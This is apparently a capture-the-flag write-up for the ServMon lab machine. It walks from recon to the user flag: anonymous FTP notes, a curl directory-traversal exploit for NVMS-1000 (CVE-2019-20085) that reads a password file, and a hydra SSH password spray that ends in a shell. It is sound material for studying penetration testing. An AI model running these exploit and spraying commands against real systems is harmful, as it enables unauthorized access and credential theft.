ServMon
Anonymous FTP leaks operator notes pointing at a desktop password file; an unauthenticated directory-traversal flaw in the NVMS-1000 web app (CVE-2019-20085) reads that file over HTTP, and spraying the recovered passwords over SSH lands a shell as nadine for the user flag.
Overview
ServMon is an easy Windows box that chains three small mistakes into a foothold. Anonymous FTP exposes a pair of operator notes that reveal where a plaintext password file lives. The public web app is NVMS-1000, a network surveillance product with an unauthenticated directory-traversal vulnerability (CVE-2019-20085) — using it to read the desktop password file produces a candidate list, and a quick SSH password spray matches one of them to the user nadine. This post covers recon through the user flag and stops there.
Machine Matrix
Enumeration-heavy: anonymous FTP notes point to a password file read via named CVE-2019-20085 traversal, then SSH spray; the breadcrumb-note trail adds a mild CTF flavor.
Recon
| Port | Service | Notes |
|---|---|---|
| 21/tcp | FTP (Microsoft ftpd) | anonymous login allowed |
| 22/tcp | SSH (OpenSSH for Windows 7.7) | |
| 80/tcp | HTTP | NVMS-1000 login page |
| 135/139/445 | MSRPC / NetBIOS / SMB | |
| 5666/6063/8443 | NSClient++ stack | 8443 = NSClient++ web UI |
1
2
ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.184 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV 10.10.10.184
The scan flags anonymous FTP, SSH, an HTTP server on 80, and an SSL service on 8443.
Enumeration
FTP. Anonymous login works. A Users directory holds folders for Nadine and Nathan, each with a text file.
1
2
3
4
5
ftp 10.10.10.184
# anonymous / (blank), then:
# passive
# get "Nadine\Confidential.txt"
# get "Nathan\Notes to do.txt"
Confidential.txt is a note from Nadine to Nathan:
1
2
3
4
Nathan,
I left your Passwords.txt file on your Desktop. Please remove this once you
have edited it yourself and place it back into the secure folder.
Regards, Nadine
So there is a Passwords.txt on Nathan’s desktop. Notes to do.txt lists outstanding tasks for the NVMS and NSClient monitoring apps and confirms both are in use.
HTTP. Port 80 is the NVMS-1000 login page; default and common credentials fail. Port 8443 is an NSClient++ login. We now have two targets and a known location for a password file — the obvious next step is to read that file.
Foothold
1 — NVMS-1000 directory traversal (CVE-2019-20085). NVMS-1000 builds a file path from the request URL without restricting traversal, so ../ sequences escape the web root. Confirm it against a file that always exists on Windows:
1
curl -s "http://10.10.10.184/../../../../../../../../windows/win.ini" --path-as-is
win.ini comes back — LFI confirmed. Now pull the password file the FTP notes told us about:
1
curl -s "http://10.10.10.184/../../../../../../../../Users/Nathan/Desktop/Passwords.txt" --path-as-is -o passwords.txt
This returns a list of seven candidate passwords.
2 — SSH password spray. FTP gave us two usernames (nadine, nathan); add administrator for good measure and spray the recovered list over SSH:
1
2
printf '%s\n' nadine nathan administrator > users.txt
hydra -L users.txt -P passwords.txt ssh://10.10.10.184 -t 4 -f
One password is reused for nadine. Log in:
1
sshpass -p '[redacted]' ssh [email protected]
User flag
nadine is an interactive, if unprivileged, user — whoami /priv shows only the default low-privilege set. The flag is on her desktop:
1
type C:\Users\Nadine\Desktop\user.txt # [redacted]
Privilege escalation (the NSClient++ external-script abuse to SYSTEM) is left as an exercise — this post stops at user.